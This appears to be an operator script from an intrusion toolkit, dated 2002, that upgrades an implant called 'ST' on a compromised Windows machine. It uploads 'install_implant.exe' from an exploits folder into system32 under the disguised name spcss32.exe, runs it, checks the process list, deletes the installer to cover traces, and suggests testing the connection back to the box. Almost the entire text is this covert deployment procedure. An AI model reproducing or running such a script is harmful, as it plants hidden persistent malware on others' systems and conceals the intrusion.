55 lines
1.1 KiB
PostScript
55 lines
1.1 KiB
PostScript
#08/22/2002 Simple script to upgrade ST 1.2 to ST 1.4
|
|
|
|
@echo off;
|
|
@record on;
|
|
string $ScriptsDir;
|
|
if(`getdirectory -scripts`) {
|
|
string $Dir = GetCmdData("dir");
|
|
$ScriptsDir = $Dir[0];
|
|
}else{
|
|
$ScriptsDir="E:\\resources\\ep\\scripts";
|
|
}
|
|
@record off;
|
|
@echo on;
|
|
|
|
`pwd`;
|
|
|
|
echo "";
|
|
echo "We should be in system32...now we upload the new version of ST";
|
|
echo "";
|
|
echo "Hit return to continue";
|
|
pause;
|
|
|
|
ifnot (`monitor put "$ScriptsDir\\..\\..\\..\\exploits\\st 1.4\\install_implant.exe" -name spcss32.exe`)
|
|
{ echo "put of file failed";
|
|
return false;
|
|
}
|
|
|
|
echo "";
|
|
echo "Wait for the put to finish, check the monitor window...then";
|
|
echo "Make sure the whole file made it..should be 167,936 bytes";
|
|
echo "";
|
|
prompt `dir spcss*`;
|
|
|
|
echo "";
|
|
echo "Run the installer.";
|
|
echo "";
|
|
prompt `run -command spcss32.exe`;
|
|
|
|
echo "";
|
|
echo "Make sure the process is done";
|
|
echo "";
|
|
prompt `processlist`;
|
|
|
|
echo "";
|
|
echo "Delete the installer.";
|
|
echo "";
|
|
prompt `del spcss32.exe`;
|
|
|
|
echo "";
|
|
echo "Make sure it's gone.";
|
|
echo "";
|
|
prompt `dir spcss*`;
|
|
|
|
echo "";
|
|
echo "You may want to test the connection to this box.";
|